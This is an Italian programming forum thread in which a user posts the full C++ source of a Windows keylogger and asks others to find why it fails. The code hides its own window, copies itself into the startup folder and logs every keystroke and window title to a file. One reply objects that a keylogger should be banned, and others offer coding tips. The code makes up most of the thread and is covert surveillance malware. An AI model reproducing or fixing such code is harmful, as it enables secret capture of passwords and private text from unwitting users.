|
|
|
![]() |
|
Strumenti |
![]() |
#1 |
Member
Iscritto dal: Jan 2010
Messaggi: 49
|
[C++] KeyLogger non funziona???
Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!
Questo è il codice: Codice:
/* KeyLogger v.Beta Author: R#I Language: C++ */ #include <iostream> #include <windows.h> #include <WinUser.h> #include <cstring> #include <fstream> using namespace std; void logga(char stringa[500]); void logga(char carattere); // OVERLOAD void nasc_sposta(char *dir_destinazione); char *GetEsecAutoDir(); ofstream log; //File di LOG char *destinazioneLog; // Destinazione file di log int main() { nasc_sposta(GetEsecAutoDir()); int key; HWND finestra_corrente; char titolo_finestra[255], attuale[255]; while(1) { Sleep(10); // Per non usare tutta la CPU finestra_corrente = GetForegroundWindow(); GetWindowText(finestra_corrente, titolo_finestra, 254); if(strcmp(titolo_finestra, attuale)!= 0) { logga("\n"); logga(titolo_finestra); logga("\n"); } strcpy(attuale, titolo_finestra); // ========================= Titolo Finestra ================ if(GetAsyncKeyState(key)== -32767){ // Tasti F1,F1,F2 ecc if(key >= 112 and key <= 123){ switch(key){ case 112: logga("[F1]"); break; case 113: logga("[F2]"); break; case 114: logga("[F3]"); break; case 115: logga("[F4]"); break; case 116: logga("[F5]"); break; case 117: logga("[F6]"); break; case 118: logga("[F7]"); break; case 119: logga("[F8]"); break; case 120: logga("[F9]"); break; case 121: logga("[F10]"); break; case 122: logga("[F11]"); break; case 123: logga("[F12]"); break; } } // Alfabeto if(key >= 65 && key <= 90){ if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){ // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo logga(key); }else{ // Se no memorizziamola in minuscolo key += 32; logga(key); } } // TASTI numerici if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){ // Se è premuto shift ... switch(key){ case 48 : logga('='); break; case 49 : logga('!'); break; case 50 : logga('"'); break; case 51 : logga('£'); break; case 52 : logga('$'); break; case 53 : logga('%'); break; case 54 : logga('&'); break; case 55 : logga('/'); break; case 56 : logga('('); break; case 57 : logga(')'); break; } }else{ // Se no stampa i numeri if(key >= 48 && key <= 57)logga(key); } if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){ // Se è premuto Shift ... switch(key){ case 186 : logga('é'); break; case 187 : logga('*'); break; case 188 : logga(';'); break; case 189 : logga('_'); break; case 190 : logga(':'); break; case 191 : logga('§'); break; case 192 : logga('ç'); break; case 219 : logga('?'); break; case 220 : logga('|'); break; case 221 : logga('^'); break; case 222 : logga('°'); break; case 226 : logga('>'); break; } }else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128 )&&(GetAsyncKeyState(18)==-127 || GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 || GetAsyncKeyState(162)==-128 )&& (GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){ // Se tiene premuto ALT GR switch(key){ case 101 : logga('€'); break; case 192 : logga('@'); break; case 222 : logga('#'); break; case 187 : logga(']'); break; case 186 : logga('['); break; } }else{ // Se no switch(key){ case 192 : logga('ò'); break; case 191 : logga('ù'); break; case 222 : logga('à'); break; case 187 : logga('+'); break; case 186 : logga('è'); break; case 188 : logga(','); break; case 190 : logga('.'); break; case 189 : logga('-'); break; case 219 : logga('\''); break; case 221 : logga('ì'); break; case 226 : logga('<'); break; case 220 : logga('\\'); break; } switch(key){ case 8 : logga("[BACK]"); break; case 9 : logga("[TABLE]"); break; case 11: logga("[HOME]"); break; case 13: logga("[RETURN]"); break; case 27: logga("[ESC]"); break; case 32: logga("[SPACE]"); break; case 33: logga("[PAG SU]"); break; case 34: logga("[PAG GIU]"); break; case 35: logga("[END]"); break; case 36: logga("[HOME]"); break; case 37: logga("[left]"); break; case 38: logga("[TOP]"); break; case 39: logga("[right]"); break; case 40: logga("[BOTTOM]"); break; case 44: logga("[STAMP SCREEN]"); break; case 45: logga("[INS]"); break; case 46: logga("[CANC]"); break; case 91: logga("[WINDOWS]"); break; case 92: logga("[WINDOWS]"); break; case 96: logga('0'); break; case 97: logga('1'); break; case 98: logga('2'); break; case 99: logga('3'); break; case 100: logga('4'); break; case 101: logga('5'); break; case 102: logga('6'); break; case 103: logga('7'); break; case 104: logga('8'); break; case 105: logga('9'); break; case 106: logga('*'); break; case 107: logga('+'); break; case 109: logga('-'); break; case 110: logga('.'); break; case 111: logga('/'); break; case 144: logga("[BLOC NUM]"); break; case 145: logga("[BLOC SCORR]"); break; case 163: logga("[ESC]"); break; case 255: logga("[SPACE]"); break; } } } } return 0; } void nasc_sposta(char *dir_destinazione) { HWND invisibile; invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger ShowWindow(invisibile, SW_HIDE); //Nascondo finestra MoveFile("key.exe", dir_destinazione); // Sposto in esecuzione automatica } char *GetEsecAutoDir() { char disco[255], utente[255], *user_path; DWORD *a; user_path = new char[255]; // Alloccazione dinamica a = new DWORD[255]; // Come sopra GetSystemDirectory(disco, 254); // Prendo disco rigido in uso destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale GetUserName(utente, a); // Prendo Nome Utente strncpy(user_path, disco, 3); // strcat(user_path, "Documents and Settings\\"); strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get(); strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe"); return user_path; // Ritorno il cpleto valore per copiare il file in esecuzione auto } void logga(char carattere) // Loggo caratteri { log.open("log.txt", ios::app); log << carattere; log.close(); } void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe { log.open("log.txt", ios::app); log << stringa; log.close(); } |
![]() |
![]() |
![]() |
#2 |
Senior Member
Iscritto dal: Feb 2006
Messaggi: 1304
|
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110? Mi sa che faresti bene a dare un occhio a una cosa che si chiama "tabella ASCII" perchè il tuo codice si riscrive in 4 righe. A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger. Ciap ![]() |
![]() |
![]() |
![]() |
#3 |
Member
Iscritto dal: Jan 2010
Messaggi: 49
|
Non sapevo fosse vietato??!
Comunque grazie per il consiglio, anche se, non penso che si possa scrivere proprio in 4 righe come dici tu! EDIT: Ma comunque si sa perchè non lavora? Qual è l'errore che faccio? Ultima modifica di L3n : 27-10-2010 alle 17:50. |
![]() |
![]() |
![]() |
#4 |
Member
Iscritto dal: Jan 2010
Messaggi: 49
|
Almeno mi sapete dire come rilevare i simboli @#[]€ con il tasto alt gr (ctrl e alt). Ho provato VK_CONTROL (CTRL) e VK_MENU (ALT), ma non li rileva per niente! Non si accorge nemmeno che vengono premuti, infatti mi da i caratteri normali senza la pressione di alt gr! Potete aiutarmi??
|
![]() |
![]() |
![]() |
#5 |
Senior Member
Iscritto dal: Jul 2005
Città: Bologna
Messaggi: 1130
|
Moralista bacchettone.
__________________
-> The Motherfucking Manifesto For Programming, Motherfuckers |
![]() |
![]() |
![]() |
#6 | |
Senior Member
Iscritto dal: Jan 2005
Città: Napoli
Messaggi: 2424
|
Quote:
intendi con un ciclo for? Codice:
for i from 96 to 110 case i: logga(char(*codice ASCII progressivo*)) break; end
__________________
~ ~ ho concluso con: capzero, DarkSiDE, Iron10, 12379, Hyxshare, Gort84, kristian0, scrafti, as2k3, gegeg, Kyrandia, Feroz, asta, nyko683, mstella, 00700, WotanBN, [COLOR=]Warez[/color], sesshoumaru, ... nel we potrei non essere davanti al pc Ultima modifica di d@vid : 27-10-2010 alle 22:08. |
|
![]() |
![]() |
![]() |
Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 16:45.